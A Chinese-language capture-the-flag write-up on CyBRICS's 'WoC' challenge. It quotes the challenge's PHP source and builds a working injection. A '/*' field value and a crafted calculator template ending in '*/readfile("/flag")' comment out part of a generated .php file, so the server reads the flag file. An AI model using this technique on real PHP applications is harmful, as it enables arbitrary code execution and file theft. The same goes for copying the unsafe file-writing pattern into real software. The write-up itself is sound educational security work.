原以为开始实习了以后会有很多独立的时间去自己研究,结果发现怎么老是出差….orz
Cybrics的题目类型分的挺细,但是没打上…
比赛就看了一题WoC,跟进一下,慢慢复现补完。
WoC
上来给了源码,这样方便了赛后复现,真好。
先登录进网站,浏览了下大致功能,开始看源代码。
看到计算器我第一时间想到calc.php,一般问题都出在这。
请求模板的序列号匹配,获取用户session
1 2 3 4 5 6 7 8 9 10 11
| if (!@$_SESSION['userid'] || !@$_GET['template']) { redir("."); } $userid = $_SESSION['userid']; $template = $_GET['template']; if (!preg_match('#^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$#s', $template)) { redir("."); } if (!is_file("calcs/$userid/templates/$template.html")) { redir("."); }
|
这一部分没什么用,继续往下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| if (trim(@$_POST['field'])) { $field = trim($_POST['field']); if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) { $value = "BAD"; } else { if (@$_POST['share']) { $calc = uuid(); file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field)?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html")); redir("?p=sharelink&calc=$calc"); } else { try { $value = eval("return $field;"); } catch (Throwable $e) { $value = null; } if (!is_numeric($value) && !is_string($value)) { $value = "ERROR"; } else { $value = (string)$value; } } } echo "<script>var preloadValue = " . json_encode($value) . ";</script>"; }
|
这一部分第一眼看到那个正则,加上注入点白名单,再加上我比较菜,感觉是不可能绕的了
于是往下看发现有一段文件写入的功能,如果我们post了share的话,就会对文件内容进行一个拼接操作,然后重定向一个地址回显。
1
| file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field)?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
|
拼接操作中没有过滤,而且使用到了<?=(充当echo),又传入了一个field参数,中间的html内容固定,最后的文件可控。
我们看看可控的文件,定位到newtemplate.php。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| if (trim(@$_POST['html'])) { do { $html = trim($_POST['html']); if (strpos($html, '<?') !== false) { $error = "Bad chars"; break; } $requiredBlocks = [ 'id="back"', 'id="field" name="field"', 'id="digit0"', 'id="digit1"', 'id="digit2"', 'id="digit3"', 'id="digit4"', 'id="digit5"', 'id="digit6"', 'id="digit7"', 'id="digit8"', 'id="digit9"', 'id="plus"', 'id="equals"', ]; foreach ($requiredBlocks as $block) { if (strpos($html, $block) === false) { $error = "Missing required block: '$block'"; break(2); } } $uuid = uuid(); if (!file_put_contents("calcs/$userid/templates/$uuid.html", $html)) { $error = "Unexpected error! Contact orgs to fix. cybrics.net/rules#contacts"; break; } redir("."); } while (false); }
|
对内容过滤不严格,只过滤了<?,没过滤函数。
再看回calc.php的拼接处,我们可以尝试在<?=处接入恶意代码readfile(“/flag”),但是field参数进行了限制,接了没用。
那继续看第二个可控点,可以插入恶意代码,但是必须得除去中间的文件,那就采用注释符构造如下的结构试试
\n" . /*file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));*/readfile("/flag")));
field传入/*就可以配合可控html达到注释效果。
构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <html> <body> <input type="text" class="part" id="back" /> <input type="text" class="part" id="field" name="field" /> <input type="text" class="part" id="digit0" /> <input type="text" class="part" id="digit1" /> <input type="text" class="part" id="digit2" /> <input type="text" class="part" id="digit3" /> <input type="text" class="part" id="digit4" /> <input type="text" class="part" id="digit5" /> <input type="text" class="part" id="digit6" /> <input type="text" class="part" id="digit7" /> <input type="text" class="part" id="digit8" /> <input type="text" class="part" id="digit9" /> <input type="text" class="part" id="plus" /> <input type="text" class="part" id="minus" /> <input type="text" class="part" id="equals" /> */readfile("/flag")));
|
回显了插入恶意代码的地址,过去看看有没有生效
成功